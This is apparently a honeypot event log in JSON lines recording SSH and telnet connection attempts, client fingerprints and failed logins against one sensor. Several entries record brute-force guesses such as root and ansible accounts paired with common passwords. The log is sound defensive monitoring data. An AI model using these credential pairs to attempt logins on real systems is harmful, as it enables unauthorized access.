{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":59246,"dst_ip":"159.203.135.109","dst_port":22,"session":"d62dd3ef2834","protocol":"ssh","message":"New connection: 50.99.170.152:59246 (159.203.135.109:22) [session: d62dd3ef2834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:25.276712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:25.283720Z","src_ip":"50.99.170.152","session":"d62dd3ef2834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:25.345893Z","src_ip":"50.99.170.152","session":"d62dd3ef2834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88009786605835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:25.506020Z","src_ip":"199.103.61.230","session":"4fc48b5f08c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fz@123456","message":"login attempt [root/Fz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:25.621285Z","src_ip":"50.99.170.152","session":"d62dd3ef2834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:26.686571Z","src_ip":"50.99.170.152","session":"d62dd3ef2834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41512,"dst_ip":"159.203.135.109","dst_port":22,"session":"61c9035d75ee","protocol":"ssh","message":"New connection: 159.203.92.129:41512 (159.203.135.109:22) [session: 61c9035d75ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:28.200684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:28.205777Z","src_ip":"159.203.92.129","session":"61c9035d75ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:28.211614Z","src_ip":"159.203.92.129","session":"61c9035d75ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"root","message":"login attempt [ansible/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:28.225358Z","src_ip":"159.203.92.129","session":"61c9035d75ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.522236824035645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:28.409588Z","src_ip":"199.103.61.230","session":"24c309c89fbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:29.259213Z","src_ip":"159.203.92.129","session":"61c9035d75ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":37372,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fd8ed4eb3e","protocol":"telnet","message":"New connection: 199.103.61.230:37372 (10.17.0.5:23) [session: 32fd8ed4eb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:35.393229Z"}
{"eventid":"cowrie.session.closed","duration":35.223113775253296,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:36.218729Z","src_ip":"199.103.61.230","session":"80317dd795bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":26902,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e02daaf5881","protocol":"ssh","message":"New connection: 2.57.122.193:26902 (10.17.0.5:22) [session: 8e02daaf5881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:40.649962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:40.657072Z","src_ip":"2.57.122.193","session":"8e02daaf5881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:40.759350Z","src_ip":"2.57.122.193","session":"8e02daaf5881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:41.187375Z","src_ip":"2.57.122.193","session":"8e02daaf5881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36160,"dst_ip":"159.203.135.109","dst_port":22,"session":"5183507bd086","protocol":"ssh","message":"New connection: 159.203.92.129:36160 (159.203.135.109:22) [session: 5183507bd086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:54.224264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:54.229343Z","src_ip":"159.203.92.129","session":"5183507bd086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:54.234615Z","src_ip":"159.203.92.129","session":"5183507bd086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"rzx!@!*baizhao","message":"login attempt [ansible/rzx!@!*baizhao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:54.246318Z","src_ip":"159.203.92.129","session":"5183507bd086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:55.253134Z","src_ip":"159.203.92.129","session":"5183507bd086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.210910081863403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:06.604029Z","src_ip":"199.103.61.230","session":"32fd8ed4eb3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":43480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1f15ffa647c","protocol":"telnet","message":"New connection: 199.103.61.230:43480 (10.17.0.5:23) [session: b1f15ffa647c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:14.011772Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":43080,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2cfb8cb3d47","protocol":"telnet","message":"New connection: 199.103.61.230:43080 (10.17.0.5:23) [session: b2cfb8cb3d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:14.112926Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":43840,"dst_ip":"10.17.0.5","dst_port":23,"session":"7363c2d791e7","protocol":"telnet","message":"New connection: 199.103.61.230:43840 (10.17.0.5:23) [session: 7363c2d791e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:15.892271Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":43364,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f60062f1e03","protocol":"telnet","message":"New connection: 199.103.61.230:43364 (10.17.0.5:23) [session: 6f60062f1e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:17.265933Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":47708,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6370c26fbb","protocol":"ssh","message":"New connection: 50.99.170.152:47708 (159.203.135.109:22) [session: 1d6370c26fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:22.333868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:22.339513Z","src_ip":"50.99.170.152","session":"1d6370c26fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:22.405536Z","src_ip":"50.99.170.152","session":"1d6370c26fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc1234@","message":"login attempt [root/Abc1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:22.675633Z","src_ip":"50.99.170.152","session":"1d6370c26fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":44804,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc6f0f2649d6","protocol":"telnet","message":"New connection: 199.103.61.230:44804 (10.17.0.5:23) [session: cc6f0f2649d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:23.099021Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:23.737557Z","src_ip":"50.99.170.152","session":"1d6370c26fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":45414,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1d8fd340a8","protocol":"telnet","message":"New connection: 199.103.61.230:45414 (10.17.0.5:23) [session: 0d1d8fd340a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:25.837884Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":45238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b43d99f9d5ba","protocol":"telnet","message":"New connection: 199.103.61.230:45238 (10.17.0.5:23) [session: b43d99f9d5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:25.843630Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":42766,"dst_ip":"10.17.0.5","dst_port":23,"session":"94683e1d0aea","protocol":"telnet","message":"New connection: 199.103.61.230:42766 (10.17.0.5:23) [session: 94683e1d0aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:27.385133Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":45574,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fadb6517349","protocol":"telnet","message":"New connection: 199.103.61.230:45574 (10.17.0.5:23) [session: 1fadb6517349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:31.002441Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":45744,"dst_ip":"10.17.0.5","dst_port":23,"session":"b04631691a12","protocol":"telnet","message":"New connection: 199.103.61.230:45744 (10.17.0.5:23) [session: b04631691a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:32.007541Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":46016,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4de559f8bb1","protocol":"telnet","message":"New connection: 199.103.61.230:46016 (10.17.0.5:23) [session: a4de559f8bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:33.944802Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":46884,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b80df7ece6c","protocol":"telnet","message":"New connection: 199.103.61.230:46884 (10.17.0.5:23) [session: 2b80df7ece6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:37.036000Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":47034,"dst_ip":"10.17.0.5","dst_port":23,"session":"0183cad73fb3","protocol":"telnet","message":"New connection: 199.103.61.230:47034 (10.17.0.5:23) [session: 0183cad73fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:38.162490Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39118,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db1524bf4ff","protocol":"ssh","message":"New connection: 159.203.92.129:39118 (159.203.135.109:22) [session: 1db1524bf4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:38.706629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:38.711544Z","src_ip":"159.203.92.129","session":"1db1524bf4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:38.716305Z","src_ip":"159.203.92.129","session":"1db1524bf4ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"server","message":"login attempt [ansible/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:38.733072Z","src_ip":"159.203.92.129","session":"1db1524bf4ff","protocol":"ssh"}
